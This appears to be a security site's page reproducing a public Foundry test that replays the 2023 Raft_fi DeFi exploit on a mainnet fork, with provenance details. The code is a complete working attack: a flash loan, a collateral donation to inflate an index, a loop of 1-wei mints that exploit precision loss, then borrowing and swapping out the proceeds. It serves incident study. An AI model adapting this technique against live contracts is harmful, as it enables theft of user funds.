Skip to content
THREATWIRE

Public reproduction file

src/test/2023-11/Raft_exp.sol

Public reproduction file for dataset entry Raft_fi.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-11/Raft_exp.sol193 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~3.2 M USD$
8// Attacker : https://etherscan.io/address/0xc1f2b71a502b551a65eee9c96318afdd5fd439fa
9// Attack Contract : https://etherscan.io/address/0x0a3340129816a86b62b7eafd61427f743c315ef8
10// Vulnerable Contract : https://etherscan.io/address/0x9ab6b21cdf116f611110b048987e58894786c244
11// Attack Tx :https://etherscan.io/tx/0xfeedbf51b4e2338e38171f6e19501327294ab1907ab44cfd2d7e7336c975ace7
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x9ab6b21cdf116f611110b048987e58894786c244#code
16// @Analysis
17// Twitter Guy : https://twitter.com/BlockSecTeam/status/1723229393529835972
19interface IPRM {
20 function liquidate(
21 address position
22 ) external;
24 struct ERC20PermitSignature {
25 address token;
26 uint256 value;
27 uint256 deadline;
28 uint8 v;
29 bytes32 r;
30 bytes32 s;
31 }
33 function managePosition(
34 IERC20 collateralToken,
35 address position,
36 uint256 collateralChange,
37 bool isCollateralIncrease,
38 uint256 debtChange,
39 bool isDebtIncrease,
40 uint256 maxFeePercentage,
41 ERC20PermitSignature calldata permitSignature
42 ) external returns (uint256 actualCollateralChange, uint256 actualDebtChange);
45interface IRaftOracle {
46 function fetchPrice() external returns (uint256, uint256);
49interface IERC20Indexable is IERC20 {
50 function currentIndex() external view returns (uint256);
52 function totalSupply() external view override returns (uint256);
54 function mint(address to, uint256 amount) external;
56 function burn(address from, uint256 amount) external;
59interface ICurve {
60 function exchange(
61 uint256 i,
62 uint256 j,
63 uint256 dx,
64 uint256 min_dy,
65 bool use_eth,
66 address receiver
67 ) external payable returns (uint256);
70contract ContractTest is Test {
71 IERC20 cbETH = IERC20(0xBe9895146f7AF43049ca1c1AE358B0541Ea49704);
72 IAaveFlashloan aaveV3 = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
73 IPRM PRM = IPRM(0x9AB6b21cDF116f611110b048987E58894786C244);
74 address liquidablePosition = 0x011992114806E2c3770df73fa0D19884215db85F;
75 IERC20Indexable rcbETH_c = IERC20Indexable(0xD0Db31473CaAd65428ba301D2174390d11D0C788);
76 IERC20Indexable rcbETH_d = IERC20Indexable(0x7beBe1D451291099D8e05fA2676412c09C96dFbC);
77 IERC20 R = IERC20(0x183015a9bA6fF60230fdEaDc3F43b3D788b13e21);
78 Uni_Pair_V3 R_USDC_Pair = Uni_Pair_V3(0x190Ed02Adaf1Ef8039fCD3f006b42553467D5045);
79 Uni_Pair_V3 WETH_USDC_Pair = Uni_Pair_V3(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640);
80 ICurve cbETH_ETH_Pool = ICurve(0x5FAE7E604FC3e24fd43A72867ceBaC94c65b404A);
81 IRaftOracle RaftOracle = IRaftOracle(0x3cd40D6e8426C9f02Fe7B23867661377E462df3d);
82 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
83 WETH9 WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
84 address expContract = 0x0A3340129816a86b62b7eafD61427f743c315ef8;
86 function setUp() public {
87 vm.createSelectFork("mainnet", 18_543_485);
88 vm.label(address(aaveV3), "aaveV3");
89 vm.label(address(PRM), "PRM");
90 vm.label(address(rcbETH_c), "rcbETH_c");
91 vm.label(address(rcbETH_d), "rcbETH_d");
92 vm.label(address(R), "R");
93 vm.label(address(R_USDC_Pair), "R_USDC_Pair");
94 vm.label(address(WETH_USDC_Pair), "WETH_USDC_Pair");
95 vm.label(address(WETH_USDC_Pair), "WETH_USDC_Pair");
96 vm.label(address(RaftOracle), "RaftOracle");
97 vm.label(address(USDC), "USDC");
98 vm.label(address(WETH), "WETH");
99 vm.label(address(cbETH), "cbETH");
100 }
102 function testExploit() external {
103 deal(address(this), 0);
104 deal(address(cbETH), address(this), 1.5 ether);
105 deal(address(R), address(this), 3405 ether);
106 vm.startPrank(address(PRM));
107 rcbETH_d.mint(address(this), 3100 ether); // minimum position debt limit: 3_000 rcbETH-d
108 vm.stopPrank();
110 R.approve(address(PRM), type(uint256).max);
111 cbETH.approve(address(PRM), type(uint256).max);
113 address[] memory assets = new address[](1);
114 assets[0] = address(cbETH);
115 uint256[] memory amounts = new uint256[](1);
116 amounts[0] = 6000 ether;
117 uint256[] memory modes = new uint256[](1);
118 modes[0] = 0;
119 aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
121 emit log_named_decimal_uint("Attacker R balance after exploit", R.balanceOf(address(this)), R.decimals());
123 emit log_named_decimal_uint("Attacker ETH balance after exploit", address(this).balance, WETH.decimals());
124 }
126 function executeOperation(
127 address[] calldata assets,
128 uint256[] calldata amounts,
129 uint256[] calldata premiums,
130 address initiator,
131 bytes calldata params
132 ) external returns (bool) {
133 IERC20(assets[0]).approve(address(aaveV3), amounts[0] + premiums[0]);
135 console.log("before infalte index, the storedIndex", rcbETH_c.currentIndex() / 1e18);
137 uint256 storedindex1 = rcbETH_c.currentIndex();
139 uint256 rcbETH_c_HeldbyAttacker = rcbETH_c.balanceOf(address(expContract)) * 1e18 / storedindex1;
141 cbETH.transfer(address(PRM), cbETH.balanceOf(address(this))); // donate cbETH to PRM
142 PRM.liquidate(liquidablePosition); // liquidate position to trigger setIndex
144 console.log("after infalte index, the storedIndex", rcbETH_c.currentIndex() / 1e18);
146 uint256 storedindex2 = rcbETH_c.currentIndex();
148 console.log("storedIndex magnification factor", storedindex2 / storedindex1);
150 IPRM.ERC20PermitSignature memory ERC20PermitSignature =
151 IPRM.ERC20PermitSignature(address(0), uint256(0), uint256(0), uint8(0), bytes32(0), bytes32(0));
153 for (uint256 i; i < (60 + rcbETH_c_HeldbyAttacker); i++) {
154 PRM.managePosition(cbETH, address(this), 1, true, 0, true, 1e18, ERC20PermitSignature); // mint 1 wei rcbETH-c only using 1 wei cbETH through precision loss(rounding error)
155 }
157 uint256 collateralChange = cbETH.balanceOf(address(PRM));
158 PRM.managePosition(cbETH, address(this), collateralChange, false, 0, true, 1e18, ERC20PermitSignature); // redeem donate cbETH from PRM
160 uint256 collateralAmount = rcbETH_c.balanceOf(address(this));
161 (uint256 EtherPirce,) = RaftOracle.fetchPrice();
162 EtherPirce = EtherPirce / 1e18;
163 uint256 debtChange = collateralAmount * EtherPirce * 100 / 130 - rcbETH_d.balanceOf(address(this));
164 PRM.managePosition(cbETH, address(this), 0, true, debtChange, true, 1e18, ERC20PermitSignature); // borrow R with remaing collateral
166 RTocbETH(); // swap R to cbETH
168 return true;
169 }
171 function RTocbETH() internal {
172 R_USDC_Pair.swap(address(this), true, 200_000 ether, uint160(1_205_121_041_394_742_669_707), "");
173 WETH_USDC_Pair.swap(
174 address(this),
175 true,
176 int256(USDC.balanceOf(address(this))),
177 uint160(1_628_639_395_569_858_913_243_247_992_892_595),
178 ""
179 );
180 WETH.withdraw(WETH.balanceOf(address(this)));
181 cbETH_ETH_Pool.exchange{value: 5 ether}(0, 1, 5 ether, 4.5 ether, true, address(this));
182 }
184 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
185 if (Uni_Pair_V3(msg.sender).token0() == address(R)) {
186 R.transfer(address(R_USDC_Pair), uint256(amount0Delta));
187 } else if (Uni_Pair_V3(msg.sender).token0() == address(USDC)) {
188 USDC.transfer(address(WETH_USDC_Pair), uint256(amount0Delta));
189 }
190 }
192 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “Raft_fi” (2023-11-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc1f2b71a502b551a65eee9c96318afdd5fd439fa

  • Attack Contract

    0x0a3340129816a86b62b7eafd61427f743c315ef8

  • Vulnerable Contract

    0x9ab6b21cdf116f611110b048987e58894786c244

  • Attack Tx

    0xfeedbf51b4e2338e38171f6e19501327294ab1907ab44cfd2d7e7336c975ace7

File record

Name
Raft_fi
Path
src/test/2023-11/Raft_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
ec9594244a09d947132b4e086b630392c802fb33
Language
Solidity
Size
194 lines
Date
2023-11-10
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-11/Raft_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ec9594244a09d947132b4e086b630392c802fb33, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.